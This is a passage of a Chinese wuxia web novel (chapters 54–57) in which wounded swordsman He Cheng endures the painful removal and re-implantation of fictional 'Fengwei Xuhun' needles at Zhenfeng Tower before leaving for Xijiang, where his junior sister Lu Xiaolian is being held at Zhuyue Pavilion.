贺承松了口气,他不知道自己随手拉了谁的衣袖,只顾着求助:“我,没力气了。劳驾,扶他,扶他一把。” “你们把他送回去,铁链系好,房门关好。受伤的,去治伤,没受伤的,把这里收拾一下。” 听见声音,贺承定睛一看,自己随手一拽,竟然好巧不巧拉住了沈懿行。他顺势跟沈懿行说:“正好,二位前辈,也,也还没休息,要不就让他们来,来看看师父……” 沈懿行没好气:“陆岳修的事迟些再说,你怎么样?伤在哪里了?” “我?”贺承痴钝地反问,“我怎么了?” “怎么了?”沈懿行眉头紧锁,他追赶过来时,见到的正是贺承强行给陆岳修喂药的场景,贺 承不管不顾地钳制住发狂的陆岳修,任由他在挣扎中重创胸腹要害。沈懿行又气又急,语气也不大好:“你刚刚就那样由着陆岳修往身上要害打,你说你怎么了?” 贺承心虚:“没什么事,也,也没有很疼……” “这么多人,就你能耐,就你能制得住陆岳修是吧?” 贺承借着沈懿行扶持勉强站着,倚在他肩头闷声咳嗽,声音渐渐低下去:“也不是,就是,就是我不想,不想再见到有人死了……” 沈懿行气急,语气严厉:“那你就不怕自己会死吗?” 这句话久久没有人回应。 沈懿行低头看去,只见贺承已经悄无声息靠在他肩头昏厥过去。沈懿行一身红衣,衬得贺承的脸色灰白如死,盯着他唇边汩汩血色,沈懿行只觉得脊背发凉。 第54章 第五十四章善后刚刚实在是太急,也…… 陆岳修被人七手八脚地抬回内室,很快重新安置好。那条被遗忘数月的、小孩手臂般粗细的铁链重新固定住陆岳修的手脚,腰腹处还增加了一条铁链,将他的身体牢牢绑在床板上,令他彻底动弹不得。 “楼主,陆掌门已安置妥当,外间也收拾好了。今日一共两死四伤,伤者均已送至医堂救治。” 站在陆岳修所住囚室外的沈懿行听见声音转头,来人身着玄色短衣,是刑堂的管事人屠勇。事情发生在刑堂,他的人损伤最重,沈南风在时,枕风楼的人习惯了不把人命当回事,沈懿行当了几年楼主,楼里的这个习惯还是没能全部拗过来,此时屠勇来报,语气平直,话里只有事,没有情。 沈懿行是跟在司渊身边长大的。 与沈南风不同,司渊心肠软,重情义,是当时枕风楼里难得的活人。 沈懿行低头看屠勇。屠勇受了伤,只是伤得不重,额角的伤口无声渗着血,顺着侧脸,濡湿了半边鬓角。 “你也去医堂看一下伤吧。” “我?”屠勇一愣,迟钝地反应过来自己额头上带了伤,“这伤不要紧的。” 沈懿行笑笑:“医堂不缺这点伤药,小心留了疤,莺儿嫌你。” 莺儿是四层温柔乡里唱曲儿的头牌,一手琵琶弹得落花流水,技惊四座。屠勇是个粗人,听不懂曲儿,他只是觉得莺儿玉葱似的手指抚在琵琶弦上,一根琴弦一根琴弦地抡过去,比他的剑还要快,真是好看极了。 听到沈懿行提起莺儿,屠勇倏尔抬头,瞪大了眼睛,黝黑的脸竟有些红。他有些害羞,又有些心慌,嗫嚅着:“楼主,我……” “爱美之心人皆有之,这有什么好羞的?”沈懿行摆手,“去吧,先去治伤,再好好安葬了兄弟,一切料理完了,去四楼听莺儿唱支曲儿,其他的事,明日再说吧。” 屠勇领了命离开,沈懿行又站在外间看了陆岳修一会儿,转头也走开了。 刚才贺承给陆岳修灌了整整一瓶迷药,他估计要一动不动地睡个两三天,何况他此刻已经被三条铁链牢牢束缚着,关在囚室之中,暂时是掀不起什么风浪了,倒是贺承那头,不知怎么样了。 刚刚,实在是太急,也太乱。 他抱着浑身是血的贺承跌跌撞撞地去找南门迁和潘妩,脑子里走马灯似的闪过许多以前的事情—— 比如,二十多年前,他在院子里听见司渊难得对桑秀发了火,无所适从之际,看见司渊从房中抱出来那个小小的、奄奄一息的孩子。 尚未满月的孩子很小很脆弱,被司渊护在宽厚的怀中,越发显得单薄得像一页纸。沈懿行记得,包裹着孩子的襁褓层层叠叠都是血,他伸长了脖子,看见司渊将孩子只有成年男子两三根手指粗细的手腕紧紧捏在手里,可血色还是从他颤抖的指掌间溢了出来,刺得人眼睛发疼。 再比如,十多年前,他寻寻觅觅,终于在湘城近郊的山坡上,再次见到那个孩子。 从来没有人让沈懿行去找那个孩子,司渊直到断气,也没想过要他去背负另一个孩子的人生。可沈懿行是司渊从死人堆里挖出来的,他是枕风楼里的一颗小砂砾,他救不了司渊,可他至少应该像司渊当初护着他一样,暗暗护着司渊的孩子。司渊死后,他从沈南风手里领了很多任务,去了很多地方,暗中找了好久,再见到那个孩子时,他瘦得只剩一把骨头,躺在山坡上烧得人事不省,他的身边无助地蹲着一个比他还要小的孩子,而不远处有一只秃鹫阴鸷地盯着他们,就等着他咽下最后一口气。 还比如,半年前,鲜少踏足枕风楼的人,驾着马车不远千里来找他。 江湖人皆知,枕风楼外是不行车马的,皇帝来了都不管用,可那孩子就那样驾着马车横冲直撞地闯进来。沈懿行当然知道,他并不是要做枕风楼的那个例外,只是那时他实在走不动了。彼时那个孩子在江湖上闯出了一片天,“贺承”这两个字已经小有名气,是人人不敢小觑的后起之秀,可赶到枕风楼外,他却连坐稳的力气都没有了,马车堪堪停住,便从上面一头栽下去,断断续续呛着血沫,攀着沈懿行的手臂,连句完整的话都说不出来。 沈懿行亲眼见过贺承太多回死里逃生。 他不知道,这一回呢? 那个自生下来便虚弱得像只小猫的孩子,在经历过那么多颠沛流离,在受过那么重的伤之后,拖着这样一副千疮百孔的身子,这一回,还能不能熬过去? 浑浑噩噩走回贺承房间外,沈懿行生出一种情怯。 手掌抵上门框,那扇门重逾千斤。 沈懿行以前觉得,青山城与枕风楼离得真远啊,贺承被庄荣带走后,他们一年也未必能见得上一面。可此刻他在想,这扇门后面的路,会不会更远?远到横亘了生死黄泉,此后他们再说不上一句话? 不知自己僵硬地站在门外等了多久,天边泛白了,房门才从里被打开,沈懿行怔怔看着南门迁,发现自己脑中一片空白,不知该问些什么。 “暂时没事了,阿妩在里面给他熏药,你晚点再进去看他。”南门迁看了眼魂不守舍的沈懿行,忍不住嘀咕,“他那师父也真下得去手,全照着心肝脾肺这些要命的地方打,这回可要盯着他好好休养调理,否则怕是要留病根。” 人还活着就行。 沈懿行对贺承的要求已经降到了底线上,听了南门迁的话,他终于松口气:“有劳前辈了,需要什么药材,您只管吩咐。” “药材倒是不缺,只是他体内的凤尾续魂针有些棘手。”南门迁皱眉,“我刚刚看了,他体内至少有三枚针移了位置。” 沈懿行这一晚的情绪跌宕起伏,此刻有些反应不过来,怔怔看着南门迁。 南门迁耐着性子问:“你知道这意味着什么吗?” 沈懿行茫然摇头。 “为了缓解秋梧半死丹与九死露的药性,他经脉中的内息需一刻不停地运转着,他的经脉受过重创,如今又没有续魂针护持,随时可能被内息冲断。”南门迁语气有些急,“你找给他下针的人过来,我要同他商量商量,如何将那几枚针取出来,再重新下针,否则经脉崩断,当真性命不保。” “前辈要取出凤尾续魂针?” 南门迁狐疑:“怎么了?” 沈懿行面如死灰:“没有人做过。续魂针入体后,便深埋于经脉之中,再无踪迹。凤尾续魂针本就不是救人的东西,从来也没人想过,怎么取出身体里的细针。” 没人想过,却不意味着当真不能。 屠勇听了一夜的曲子,是从四层温柔乡被喊到七层的。凤尾续魂针是沈南风造出来的,可屠勇在刑堂几十年,他才是见过最多凤尾续魂针的人。 喝酒听曲一夜没睡,听了沈懿行和南门迁的问题,屠勇一时间反应不过来:“取针?” 他摸着下巴,不假思索道:“取针也不难,凤尾续魂针很稳固,落针后即使移位,没有外力推动,也不会跑到很远的地方去,找得最初落针的穴位,剖开周边经脉脏器,不出三寸,应该就能……” “砰!”南门迁话没听完,就气得一拍桌子,两撇胡子发着颤:“剖开经脉脏器,那人哪里还能活命?” 什么活命?屠勇又是一愣,后知后觉:“要从活人身上取针?” 扎着凤尾续魂针的活人并不多见,眼下,他知道的便只有楼主的那位 至交好友贺公子。联想到昨夜刑堂里的那场惨烈打斗,屠勇薄薄的一层醉意登时醒了过来,背后沁出一层冷汗:“是贺公子身上的续魂针出了问题?” “是,他体内的续魂针受外力推动,偏移了位置。当时是你施的针,应该也知道他周身经脉毁损严重,在我为他接续经脉前,离不开你的续魂针。” 被吓得醒了酒,屠勇的思路清晰起来,问南门迁:“您的意思是,不仅要取针,还要在那几处穴位上重新落针?” “不错。” “可是从来没人被下过两轮凤尾续魂针!”屠勇道,“当时为贺公子施针是迫不得已,续魂针入体的痛楚,实非常人所能忍受。先强行取出续魂针,再原处重新落针,这,这哪里有人能受得住?” “可移位的续魂针不知到什么地方去,若刺破脏器,便更棘手了。” “确也不错。”屠勇迟疑着点了下头,“可前辈打算如何取针?” 南门迁理所当然:“续魂针深埋于经脉之中,难以寻觅,我们不能剖开经脉,便只能以磁石将它吸出来了。” 屠勇叹口气:“果然如此。” 沈懿行觉察到屠勇神色有异,追问:“有何不妥吗?” 屠勇道:“凤尾续魂针之所以名带‘凤尾’二字,便是因为落针之后,针尾会自行劈裂,成凤尾般细长弯曲的几缕,分别勾住经脉要穴,是以续魂针落针后极为稳固,要将其吸出,所用磁石必得有极强的磁力。” 南门迁没能领悟屠勇的意思,语气轻松:“这不必担心,枕风楼坐拥天下珍宝,你们楼主自然会想办法找到可用的磁石。” “应该不是怕寻不到磁石。”沈懿行亲眼见过几轮刑堂施针,听明白了屠勇的担心,神色渐渐沉下来,“是续魂针!小承身上一共埋了九枚续魂针。” 屠勇点头:“不错,磁力强劲的磁石不会只吸出我们想要的那几枚针,经脉中的九枚续魂针都会受到影响,也就是说——” 听到这里,南门迁也明白过来,倒吸了一口气:“也就是说,得将九枚续魂针全部取出来,再重新钉九枚针进去。” 第55章 第五十五章取针他也怕啊。 取出九枚凤尾续魂针,再重新钉入九枚针。 这话说来轻飘飘的一句,可半年前陪着贺承落针的沈懿行脸色却一径白了下来。他搭在圈椅扶手上的手不自知地紧握成拳,指节青白,手背上青筋突兀,半晌才挣扎着问一句:“重新施针,太难熬了。真的只能重新钉入续魂针吗?” “我倒是有其他法子为他接续经脉,可至少得要他老老实实在床上躺半年。”南门迁叹口气,“这是一劳永逸的法子,可是如今这世道,他未必肯。” 沈懿行不以为然:“刚出无涯洞那事的时候,世道更乱,青山城更难,他也在我这里养了半年,再躺半年又何妨?” “如今不一样。” “怎么不一样?” “他见过陆晓怜了。”南门迁摇头,“你不知道,他从庐川来你这里,不顾一身伤,抄近道赶夜路,就是不放心陆晓怜,就是为了早些去与她汇合。一天两天的,他都舍不得耗着,我猜,他不会愿意在你这里再躺半年。” 可是再扎九枚凤尾续魂针,太疼太苦太难熬,续魂针不必落在沈懿行自己身上,他只是想一想,都觉得头皮发麻。可他也清楚,将两条路摆在贺承面前让他选,十有八九,他会毫不犹豫地选择再受一次钉针之苦。 沈懿行心中踌躇,自己应该劝他吗?若是要劝,自己又能劝得动他吗? 天空的颜色越来越浅。不知不觉间,一轮温柔的橘色旭日已在远处探出了头。 心神不宁一整夜的沈懿行扶着高楼上的栏杆,凭栏远眺。旭日东升,一切本该向阳而生,热烈灿烂,可他的心却好像还是沉沉地坠在昨晚的茫茫暗夜里。 “他醒了,喊你们进来。” 听见声响,沈懿行和南门迁回过头,只见潘妩拉开半扇门,探出半边身子出来喊人。 潘妩抠抠搜搜地只开了半扇门,一是怕风,二是怕药气散了。 南门迁对潘妩熏药之法见怪不怪,沈懿行却是第一次见识这种场面。他迈进房间,先是觉得热,往里走几步,迎面便是一股浓烈的药味,越往里面走,那种类似熏艾的气味便越重,走至贺承床边,沈懿行才发现,他床前放置了两个焚着草药的炭盆,床上也摆了一溜儿小香炉,白烟袅袅,药香阵阵,几乎要将人熏入味。 贺承是醒着的,平躺在床上,看着沈懿行被房间里缭绕的白烟呛得咳嗽,还有力气嘲笑人。沈懿行并不恼,反而很高兴,拉着南门迁问:“前辈,我看他精神挺好的。” “我是挺好的。”贺承顺着沈懿行的话,“刑堂那边怎么样了?可还有人受伤?我师父怎么样了?南门前辈去看过了吗?” 南门迁没好气:“守了你一整晚,谁有空去看你师父?” “我也是听说师父骤然发狂伤人,一时心急。这不是也没事嘛,前辈别生气了。” 其实贺承还没醒来的时候,沈懿行已经陪南门迁去看过陆岳修了。南门迁气贺承身上还埋着九枚凤尾续魂针就敢不管不顾地冲上去,气还没消,语气不善:“去看过了,陆掌门并非中毒,也并非走火入魔,他如今时而痴傻时而癫狂,我看着倒像是中了蛊。” “中蛊?” 贺承活了二十多年,只听着他师叔把蛊术当江湖故事讲,从未亲眼见过。可近来,蛊术这种神秘的东西却频频出现在他身边,仿佛同他有千丝万缕的牵连,先是在七步岭遇见那只亲近自己的红色蛊虫,再是知道自己刚出生时差点被亲生母亲拿去喂蛊虫,现在连养他教他的师父也中了蛊毒。 这一切是巧合吗?还是有什么尚未被人察觉的关联? 贺承再次向南门迁确认:“我师父发狂杀人,便是因为中了蛊吗?” “十有八九便是,但我不懂蛊术,并不敢把话说死。”南门迁看着贺承惨白的脸上拢起一片愁云,提示他,“你之前带进谷里的那个姓金的小姑娘,像是略通此道,不妨找她来看看。” “好。我这就去西江,将她带过来。”贺承心里着急,听了南门迁的话,翻身便要起来。可他稍稍撑起身子,只觉得一阵剧痛炸开,仿佛胸腹之间的经脉再次被人生生震碎一般。 行动之中,经脉伸缩扭转,这阵剧痛本在南门迁预料之中,他快步上前按住贺承的肩膀:“别动!” 贺承疼得神志发昏,弱声问:“我怎么了?” “你体内的几枚凤尾续魂针移了位置,得把针取出来。”南门迁将取针后重新钉入续魂针与接续经脉静养两个方案一口气说了出来,并不多劝,只问贺承,“你怎么想?” 正如南门迁和沈懿行之前猜测的差不多,贺承不会愿意在床榻上再耗费半年的时间,选择重新钉入凤尾续魂针。 可与他们之前的猜测略有不同的是,贺承决定重新施针前,还是迟疑了片刻—— 要从头再受一遍凤尾续魂针的苦,他也是怕的,只是还有其他的事,逼着他不能往后退。 时间紧急,重新施针的时间就排在当天午后。若不是南门迁和潘妩一夜未眠,而他们又要求施针时要在场,贺承可能会要屠勇立刻手起针落,赶个早。 枕风楼里什么奇珍异宝没有?磁石当然也 是现成的。 半年前屠勇留了心,哪几处穴位落了针,落了几寸,都仔细标注记录了。如今他拿着当初那张图纸,沿着贺承任督二脉上的要紧穴位寸寸摸过去,发现一共有四枚续魂针跑了地方。 当初落针处空无一物。 相对于小小的一枚凤尾续魂针,人体浩瀚如海,经历过与陆岳修肉搏的惊涛骇浪,续魂针不知踪迹,当真是要大海捞针。 贺承脱去上衣,盘腿坐在床上。 他坐得笔直,削薄的肌肉紧贴着那副得天独厚的筋骨,虽然略嫌清瘦,却自有一种柔韧的坚毅。昨夜的新伤此时已显露出来,那一身层层旧伤疤上面,重叠着大大小小的青紫淤痕。经脉受损后,气息不畅,贺承周身的皮肤呈现出一种病态的苍白,使这些新伤愈发令人心惊。 “是不是要先将之前的针取出来?” 贺承漫不经心地发问,手中捧着磁石的屠勇却是一抖。他迟疑着,看看沈懿行,又看看南门迁和潘妩,一咬牙一横心,近身过去:“是,您忍忍。” 手掌大的磁石被装在木盒里,隔绝磁力。 这是枕风楼数年前偶然得到的一块落星石,个头不大,磁力极强,当时打开木盒,五步之内的人身上所佩刀剑皆巍巍震颤,几欲飞出。 这样的磁力,用在如此的距离下吸附细小的续魂针,实在绰绰有余。 屠勇小心翼翼:“贺公子,那我就取出磁石了?” 贺承深吸一口气,轻轻点头。 取针只发生在电光火石的一瞬。 屠勇打开木盒,木盒中用雪白的绸布包裹着一块嶙峋的石头。磁石的磁力太强,离贺承也太近,屠勇甚至来不及揭开那块绸布,便见几道寒光从贺承身体里迸出,只听得贺承闷哼一声,身子随之微微一颤。 屠勇定睛看向自己手上的磁石。 磁石隔着一块绸布,已经将贺承体内的九枚凤尾续魂针尽数吸附出来。那九枚续魂针杂乱地横陈着,针尖素白透亮,针尾如一簇凤尾细长蜿蜒,自贺承体内勾出零星的碎肉,沾在雪白的绸布上,仿佛是凄凄雪地里,落了几点红梅。 从经脉里带出血肉来,是抽经扒骨的痛!贺承挺直的背已经受不住弯折了下去,耸出突兀的一段脊骨。他撑着膝盖,深深垂着头,气息沉而乱,半晌没有动静。 沈懿行担心:“小承,怎么样?” 贺承没有抬头应他,肩膀一颤,“哇”地呛出一口血。 潘妩早有准备,把在一旁晾得温热的汤药递给沈懿行:“快,喂给他。” 沈懿行接过屠勇递过来的帕子,擦尽贺承唇边的残血,一手扶住贺承的肩膀,一手举着药碗抵到他唇边,沉声道:“来,喝药。” 喉咙里浓稠的铁锈味与鼻间腥苦的药味交织在一起,教人难受欲呕。贺承下意识地躲着沈懿行手里的药碗。他疼得脱力,挣扎着躲避,其实也没力气挣脱出沈懿行的桎梏,只能咬紧了牙关,将那碗黢黑的汤药拒之门外。 “这是阿妩专门配的药,止血养气。”南门迁指着磁石上的星点血色,“强行取出续魂针,是勾出了血肉的,不辅以汤药,不可能在短时间里再次落针。你若想快些启程去西江,便乖乖把药喝了。” 贺承攀着沈懿行的手臂,挣扎着抬头:“我明日便要走。” 南门迁几乎要气得发抖:“你明日能下得了床,我就放你走。” “多谢前辈。”贺承抬手扶住碗沿,一口气将那碗腥臭苦涩的汤药灌下去。 那碗药苦得令人发抖,几乎在咽下汤药的那刻,恶意便从胃腹里翻涌上来,贺承身体僵直,抿紧了唇,一言不发地强忍着。许久,缓过最初的那阵难受,贺承脱力侧倒下去,正被护在一旁的沈懿行稳稳接住,轻手轻脚地扶他躺回床上。 沈懿行问:“觉得好多了?” 贺承点头,黑亮的眼直勾勾看向南门迁:“前辈,什么时候能施针?” : 第56章 第五十六章施针叶芷蔚的目的不是陆…… 重新在九处屡受重创的穴位上钉入凤尾续魂针,是连久在枕风楼刑堂供职的屠勇都想象不出的痛楚。 好在,这一回南门迁和潘妩都在。 他们要求将取针和施针的时间安排在午后,并非真的为了休息。医者仁心,病人奄奄一息地在房间里躺着,他们夫妇二人哪里能睡得安稳?花了半天的时间,请屠勇仔细说明了凤尾续魂针的原理后,南门迁将续魂针进行了细微的调整,仔细斟酌了落针角度和刺入深度,而潘妩忙着往针尖和针尾上分别淬了药,经过此番权衡,既减少施针时的损害,也为未来贺承进百花谷取针提供便利。 饶是如此,续魂针入体后,针尾紧紧勾住经脉,还是会牵扯出剥皮抽筋般的剧痛。 九枚凤尾续魂针依次入体,贺承几番昏厥过去,又被剧痛刺激着清醒过来。钉到第八枚针时,他已经耗尽所有力气,闷不吭声地靠在沈懿行肩头,短时间内接连不断的遭逢重创,他的气色差到了极点,嘴唇透着不祥的灰暗,半睁着眼,眼里的光却是黯淡涣散的,像一条濒死的鱼,断续而艰难地喘着气。 凤尾续魂针是枕风楼刑堂的东西,施针后,人没那么容易死,只是活着比死还要难。 所以,看着贺承此刻的模样,沈懿行的心疼比担心多。他拿衣袖擦过贺承额角的汗,皱眉道:“只剩最后两针了,歇会吧。” 贺承颤抖着攀住沈懿行的手腕。 他已经没有力气说出话,微不可查地摇了下头,是他用尽全力的祈求。 “能撑得住吗?” 贺承的喉结滚动,一声低不可闻的叹息和微弱的点头,便是回应。 屠勇迟疑:“楼主……” 沈懿行扶稳贺承,收敛起脸上的动摇,神色只有平静:“听他的,落针吧。” 最后两针落得很快。 事已至此,再怎么放轻放缓手里动作已经没有意义,长痛不如短痛,手起针落,早些把苦吃尽,便能早些安稳地歇一歇。 细长的钢针抵在贺承胸口苍白的皮肤上,屠勇掌心蓄力,使巧劲儿一拍,针尖深深没入贺承胸口。凤尾续魂针造得很细,初时并不觉得有多疼,最难捱的是施针者弹断露在体外细长的引针那一刻。续魂针钉在任督二脉上,施针者再怎么小心,再怎么轻缓,弹断引针时,受针者周身经脉都会随之震颤,引出一阵痉挛剧痛。 屠勇给不少人钉过凤尾续魂针,弹断引针时,咬紧牙关一声不吭,最后和着血吐出碎齿的有,剧痛下如同一条蚯蚓般在地上蜷曲翻转的有,受不住苦楚咬舌自尽的也有…… 可贺承与他们都不同—— 他们不曾像贺承一样,生生从经脉里拔出七枚续魂针。 经脉痉挛时,屠勇只能见到贺承苍白瘦长的手指猛然一颤,喉咙里滚出一声短促的呻吟,便再没有一点动静。 他自然也是痛极了的,只是他连挣扎的力气都没有了。 之后,贺承昏睡了整整一天。 第二天夜深,人才悠悠醒转过来。他睁开眼,对着守到床边的沈懿行开口的第一句话便是:“把你的急电借给我,我要去西江。” 看着床上的人气色惨淡的模样,沈懿行当然知道要拦,可认识贺承这么多年,沈懿行当然也知道,他拦不住他的—— 他将他关在屋子里,他能一拳打破屋顶翻身出去;他将他绑起来,他不惜卸下自己一条胳膊,也要从束缚力挣脱出去 ;他将他关进山洞里的暗室,他无路可逃,索性不吃不喝跟他比谁的心肠更硬。 所以沈懿行没打算拦,只是劝:“急电日行千里,也不差这一夜。倒不如今夜你好好歇着,急电也好好歇着,明日天亮,事半功倍。” “那明日南门前辈他们若拦我,你可得站在我这边。” 沈懿行安抚地拍拍贺承:“我是你大哥,自然站在你这边。” 顺着沈懿行的话,贺承低声喊他:“沈大哥。” 沈懿行不由一愣。 贺承六岁被庄荣带回青山城,十五岁上武着一柄凌云剑名动江湖,那之后,他和沈懿行私下里虽然没有断了联络,可他便不再这样喊沈懿行了,要么玩笑戏谑地跟人喊他“沈楼主”,要么连名带姓理直气壮地喊他“沈懿行”。 沈懿行问过贺承原因。贺承那时春风得意,笑容明媚张扬,他搭着沈懿行的肩膀,告诉他,不再喊他“大哥”不是因为生分,是因为这一声“大哥”太沉,而如今他已经长大,不必事事靠沈懿行庇护,他也是时候放下这个担子了。 沈懿行心道,今日贺承这样喊他,必然是有什么要紧事要交代。他不接话,只默默盯着贺承看,等着他继续说下去。 “我师父和两位前辈,又要拜托你了。”贺承垂着鸦羽遍的眼睫,沉声道,“因为我师父的事,把你的枕风楼搅得鸡犬不宁,实在抱歉。” “我早就说过,你尽可以把枕风楼当做自己家。若不是当年我年纪太小,把你带回枕风楼也护不住你,我都不会让庄荣接你去青山城。” “我知道。”贺承笑笑,“你之前说过好多遍的。” “所以你不要——” “所以我走投无路,只能想到你,把师父和两位前辈安置在哪里都不放心,只能交给你。”贺承笑着看沈懿行,“我心里没什么负担,因为你是我最重要的朋友。” 显然,沈懿行对贺承的回答很满意:“去吧,早去早回。”紧接着,他想起一个细节:“南门前辈要你去找的人,是不是正同你师妹一道?你能支得开你师妹把人带回来?” 确实很难,从庐川城走的时候就是不辞而别,陆晓怜一定会生气,也不知道如今她的气消了没有,他这一趟去西江,若是当着她的面带走金波,却拒她于千里之外,岂不是要把她气炸?也不知道之后得花多大力气才能哄得回来? 可如果带她同行,见到如今疯魔的陆岳修,她会怎么样? 贺承陷入两难之中,沈懿行劝他:“如果,我是说如果啊,如果陆岳修好不了了,你打算瞒陆晓怜到什么时候?” “不会的!一定有办法治好师父!” 沈懿行没有纠正他,自顾自地说下去:“你好好想一想,她是喜欢你,她是护短,可现在外面怎么说你的都有,她会不会有一天被什么有心之人误导?到时候你怎么办?如果那时陆岳修有什么万一,你有嘴都说不清!” 贺承讷讷:“可晓怜是师父一手养大的,看到师父变成这样,怎么受得了?” “你说,是见到陆岳修变成这样,更让她受不了,还是如果有万一,没能见到陆岳修最后一面,更让她受不了?”沈懿行看着贺承蓦然愣住,悠悠叹了口气,“陆晓怜是他的女儿,她是这个世上最应该知道真相的人。” 贺承也是叹气:“是应该,只是我也还没找到真相。” 如果陆岳修当真是中蛊,那真相便藏在他所中的蛊毒里! 而南疆来的金波若能分辨蛊毒,便是发掘真相的关键。 于是,贺承更坐不住。 第二日天刚擦亮,贺承便翻身而起,续魂针前一日才被埋入经脉,新伤之下,抬一抬手都是疼的,他摸到出百花谷时潘妩给的药丸,止痛的、保命的,眉毛胡子一把抓,各吞了几颗,才能步履平稳地走去敲沈懿行的门。 沈懿行昨夜已经答应过他今日启程,边惊诧于贺承恢复得迅速,边让人去马寮牵了急电过来,亲自送贺承出门。 他没想到的是,天光大亮时,南门迁竟会气势汹汹地来找他要人,得知他一早把贺承放走,南门迁气得胡子都要飞起来:“昨日才施的针,今日便能远行吗?还是骑的马?你枕风楼要他的命也就是一句话的事,不必这样折腾人!” 沈懿行听得云里雾里:“他来找我时,看着并无大碍,气色都比昨日好了许多。” “你给过他多少灵丹妙药,阿妩又给他配过多少灵丹妙药,要装无事,很难吗?” “我……” 南门迁懒得啰嗦,打断沈懿行:“备辆车,我和阿妩也去西江。” 而此刻,钟晓在西江城最好的酒楼里茶饭不思,愁眉不展。 金波苦口婆心地劝:“事情已经这样,你饿死自己也没有用呀。” “师兄走的时候特意交代过,不能对叶芷蔚掉以轻心!我怎么能在逐月阁中饮酒!” “不是酒的问题,人若存了做坏事的心,那一定是防不胜防的。”金波边说着,边掰开钟晓的手,往里面塞了一把勺子,“天大地大,吃饭最大,吃饱了才有力气想办法潜到逐月阁里去,救晓怜姐姐出来。” 钟晓怔怔看金波,她往他碗里夹了根鸡腿:“叶芷蔚放出话来,要贺大哥自己去逐月阁接晓怜姐姐,如今整个西江城的人都知道晓怜姐姐在逐月阁,也许消息很快就会传遍江湖,晓怜姐姐在逐月阁反而很安全。” “我想不通,为什么非要师兄去逐月阁接人?” “这还不明显吗?叶姑娘的心上人孟元纬半年前在无涯洞重伤,被看做凶手的贺大哥自此销声匿迹。恰好此时,晓怜姐姐自投罗网,这么好的饵,不用来钓大鱼岂不可惜?” 钟晓皱眉:“你是说,叶芷蔚的目的不是师姐,是为了引师兄露面?” 第57章 第五十七章西江城拿陆晓怜为饵,究…… 叶芷蔚当然不会为难陆晓怜。 她们两是自小一起长大的交情,青山城与凤鸣山,前者在北边,后者在南边,可陆晓怜十五岁前,她们每年至少要见一面。江湖儿女不似大门不出二门不迈的闺阁小姐,青山城的池塘,凤鸣山的青石,天地广大,处处是她们的乐园。 不仅是她们,逐月阁的孟元纬与她们年纪相仿,也常常与她们厮混在一处。后来,叶芷蔚情窦初开,与孟元纬互生情愫,第一个告诉的人,便是陆晓怜。 谁能想到,经年不见,再重逢却是波橘云诡,生死难料。 半年前青山城无涯洞外的那场恶战,孟元纬是唯一的幸存者。 所有人都在等着他醒来,等着他说出那一晚的真相。 可他只是勉强吊着一口气罢了。他没有醒来过,更枉论说出无涯洞外的始末。 那时陆岳修以招亲之名设擂,孟岗派孟元纬带队前往时,他怕叶芷蔚多想,出发前特意跑了一趟凤鸣山说明自己只是带着师兄弟们过去,不会上台打擂的! 那一趟,他还兴冲冲地告诉叶芷蔚,孟岗答应他,等他从青山城回去,便要来凤鸣山提亲。 没想到,从青山城回来,他没有去凤鸣山提亲,反而是叶芷蔚来到了逐月阁。 没人提亲,也没人出嫁,她只是夜以继日地守着他。 叶芷蔚是怨贺承,怨青山城的吗? 她没有同陆晓怜剖白过自己的心,可是那夜倒在无涯洞外的人,每个人身上都有凌云剑留下的伤,江湖上的人都说贺承消声觅迹是畏罪潜逃。 而这一回,陆晓怜来了,她拉着她的手诚诚恳恳地说,芷蔚姐姐,你相信我,师兄不会无缘无敌伤人的,若他要孟元纬的命,又怎么会和我一同求百花谷中的两位神医来西江城呢? 陆晓怜是叶芷蔚的朋友。 既然陆晓怜说,贺承没有畏罪潜逃,他会来西江城,他不会抛下她不管。那她就勉强信着,和陆晓怜一起等着贺承来到西江城,听一听他自己究竟怎么说。 再说,只有贺承拼死去百花谷接出来的神医能救孟元纬,只要孟元纬活下来,那一日无涯洞外究竟发生过什么,她其实并不关心。 但是叶芷蔚不知道,陆晓怜是有私心的。 陆晓怜是青山城掌门的女儿,逐月阁和凤鸣山如今与青山城的关系不明不白,陆晓怜被叶芷蔚留在逐月阁里,使得三大门派间的关系越发扑所迷离起来。 这一点暧昧不明的危险,是陆晓怜抛给贺承的饵。 她不知道贺承去了哪里,不知道贺承去做什么,不知道他是不是真的会来西江城找她,还是那只是他再一次抛下她的说辞。 之前不知道他下落的时候,她只想知道他是不是还好好地活着。 如今确认过他好好地活着,她想要的便更多,想要天天见到他,想要陪 在他身边,想要与他抵背而战—— 所以她放出了这个诱饵。 她知道的,只要他还活着,就一定会为了这万分之一的危险,来找她。 钟晓在西江城里等到贺承,已经是五天后的事情。整整五天,陆晓怜被留在逐月阁里音信全无,连见都见不上一面。 贺承这回没有骗陆晓怜。 他来西江并不是鱼儿咬饵上钩,他原本就是要来西江的,只是如果没有在西江城里听闻陆晓怜被叶芷蔚扣留在逐月阁的事情,他大概与陆晓怜见一面,又会想个什么理由带着金波离开。 西江城的酒楼里,钟晓倒出小二烫好的酒,放到贺承手边。 已临寒露,天气转凉,贺承披星戴月地赶了一程又一程,到达时,身上每一寸都隐隐泛着冷痛。 他想起几个月前在南州城里遇见陆晓怜的那天。 下着雨,天气也是寒凉至极,他拖着一身伤,又冷又疼,几乎要撑不下去。那时他误打误撞进了江家的小酒馆,喝一杯热酒的功夫,就见到了陆晓怜。 之后,雨过天晴,是热烈灿烂的夏。 他以为那是他这辈子最后的好日子,给自己找了一个又一个的借口,贪婪自私地跟着陆晓怜一程又一程,直到峰回路转柳暗花明,于山穷水尽处遇见了南门迁和潘妩。 这一回,也是饮一杯热酒,洗一身风尘。 然后,他要去接陆晓怜。 “师兄?”钟晓看着贺承饮了酒,捏着空酒杯沉默不语,忍不住发问,“南门前辈没跟你一块儿来吗?你脸色不大好,要不先歇一两日,我们再去接师姐?” 事关陆晓怜,贺承总是分外谨慎,也是因为谨慎,当初在庐川城,贺承特意交代过钟晓,要多留心叶芷蔚,不可因为她是他们多年好友,就掉以轻心。钟晓向来将他师兄的话奉为圭臬,怎么会让陆晓怜孤零零地被困在逐月阁? 贺承没急着答话,反问钟晓:“那天究竟是怎么回事?” 事情发生在钟晓他们到达西江城的第二天。 他们来西江,本就是为了探望叶芷蔚和孟元纬。他们到了西江城后,找了客栈简单休整一夜,隔天陆晓怜便带着钟晓和金波去逐月阁找人。 